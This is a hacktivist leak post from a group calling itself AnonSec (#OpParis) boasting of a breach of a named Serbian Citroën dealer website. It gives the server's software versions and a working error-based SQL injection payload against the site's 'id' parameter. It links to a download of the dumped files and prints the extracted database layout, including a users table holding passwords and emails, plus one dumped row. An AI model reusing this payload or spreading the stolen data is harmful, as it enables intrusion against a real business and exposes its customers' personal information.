Citroen #OpParis #AnonSec

      _____  _____   ______           _____  _____   ______            ______       ______         _____
  ___|\    \|\    \ |\     \     ____|\    \|\    \ |\     \       ___|\     \  ___|\     \    ___|\    \
 /    /\    \\\    \| \     \   /     /\    \\\    \| \     \     |    |\     \|     \     \  /    /\    \
|    |  |    |\|    \  \     | /     /  \    \\|    \  \     |    |    |/____/||     ,_____/||    |  |    |
|    |__|    | |     \  |    ||     |    |    ||     \  |    | ___|    \|   | ||     \--'\_|/|    |  |____|
|    .--.    | |      \ |    ||     |    |    ||      \ |    ||    \    \___|/ |     /___/|  |    |   ____
|    |  |    | |    |\ \|    ||\     \  /    /||    |\ \|    ||    |\     \    |     \____|\ |    |  |    |
|____|  |____| |____||\_____/|| \_____\/____/ ||____||\_____/||\ ___\|_____|   |____ '     /||\ ___\/    /|
|    |  |    | |    |/ \|   || \ |    ||    | /|    |/ \|   ||| |    |     |   |    /_____/ || |   /____/ |
|____|  |____| |____|   |___|/  \|____||____|/ |____|   |___|/ \|____|_____|   |____|     | / \|___|    | /
                                                                                    |_____|/       |____|/
                                                                     Laughing at your security since 2012

Official Members: Mrlele - AnonSec666 - 3r3b0s - d3f4ult - MS08-067 - Hannaichi - Th3 Ap3x - OverKiller
                  Cyb3r Shzz0r - Mr. BlackList - AN0NT0XIC - Ny0g3n - ThaNarcissist - Mr.MaGnoM

#OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis
#OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis #OpParis

					Th3 Ap3x && An0nt0x1c were H3r3!

http://citroensavin.co.rs

citroen_dragans@localhost

web application technology: PHP 5.4.45
back-end DBMS: MySQL 5.0

MySQL UNION query (NULL) - 7 columns
Payload: id=2 AND (SELECT 5397 FROM(SELECT COUNT(*),CONCAT(0x717a6d7871,(SELECT (CASE WHEN (5397=5397) THEN 1 ELSE 0 END)),0x7179796c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

All corresponding files that were dumped are available for download here ::

https://mega.nz/#F!fN5QDbxb!vYkl-E5DKQ7bQk5nkr8lSA

available databases [2]:
[*] citroen_savin2
Database: citroen_savin2
[8 tables]
+----------+
| citroeni |
+--------------------+--------------+
| Column             | Type         |
+--------------------+--------------+
| broj_vrata         | varchar(255) |
| cena               | varchar(255) |
| godina_proizvodnje | date         |
| gorivo             | varchar(255) |
| IDcitroena         | int(11)      |
| karoserija         | varchar(255) |
| kontakt            | varchar(255) |
| kubikaza           | varchar(255) |
| model              | varchar(255) |
| snaga              | varchar(255) | (empty)
+--------------------+--------------+
| oglasi   |
+--------------------+--------------+
| Column             | Type         |
+--------------------+--------------+
| broj_vrata         | varchar(255) |
| cena               | varchar(255) |
| datum_oglasa       | date         |
| FKuser             | varchar(255) |
+--------+-----------+--------------+
| FKuser | kontakt                  |
+--------+-----------+--------------+
| 8517   | 66666666  |              |
+--------+-----------+--------------+
| godina_proizvodnje | date         |
| gorivo             | varchar(255) |
| IDoglasa           | int(11)      |
| img                | varchar(255) |
| img_folder         | varchar(255) |
| img_thumb          | varchar(255) |
| karoserija         | varchar(255) |
| kilometraza        | varchar(255) |
| kontakt            | varchar(255) |
| kubikaza           | varchar(255) |
| model              | varchar(255) |
| snaga              | varchar(255) |
| text               | text         |
+--------------------+--------------+
| onama    |
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| IDonama | int(11)      |
| text    | text         |
| title   | varchar(255) |
+---------+--------------+
| savin    |
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| adresa1     | varchar(255) |
| adresa2     | varchar(255) |
| email       | varchar(255) |
| email2      | varchar(255) |
| email3      | varchar(255) |
| faks1       | varchar(255) |
| faks2       | varchar(255) |
| IDsavin     | int(11)      |
| naziv       | varchar(255) |
| radno_vreme | varchar(255) |
| telefon1    | varchar(255) |
| telefon2    | varchar(255) |
| telefon3    | varchar(255) |
+-------------+--------------+
| slike    |
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| date        | date         |
| caption     | varchar(255) |
| description | varchar(255) |
| IDslike     | int(11)      |
| img         | varchar(255) |
| img_folder  | varchar(255) |
+-------------+--------------+
| users    |
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| address1  | varchar(255) |
| address2  | varchar(255) |
| admin     | varchar(255) |
| email     | varchar(255) |
| IDuser    | int(11)      |
| ime       | varchar(255) |
| mobile    | varchar(255) |
| password  | varchar(255) |
| phone     | varchar(255) |
| user_name | varchar(255) |
+-----------+--------------+
| vesti    |
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| date       | date         |
| IDvesti    | int(11)      |
| img        | varchar(255) |
| img_folder | varchar(255) |
| img_thumb  | varchar(255) |
| text       | text         |
| title      | varchar(255) |
+------------+--------------+
| vozila   |
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| category    | varchar(255) |
| description | text         |
| IDvozila    | int(11)      |
| img         | varchar(255) |
| img_folder  | varchar(255) |
| img_thumb   | varchar(255) |
| title       | varchar(255) |
+-------------+--------------+

[*] information_schema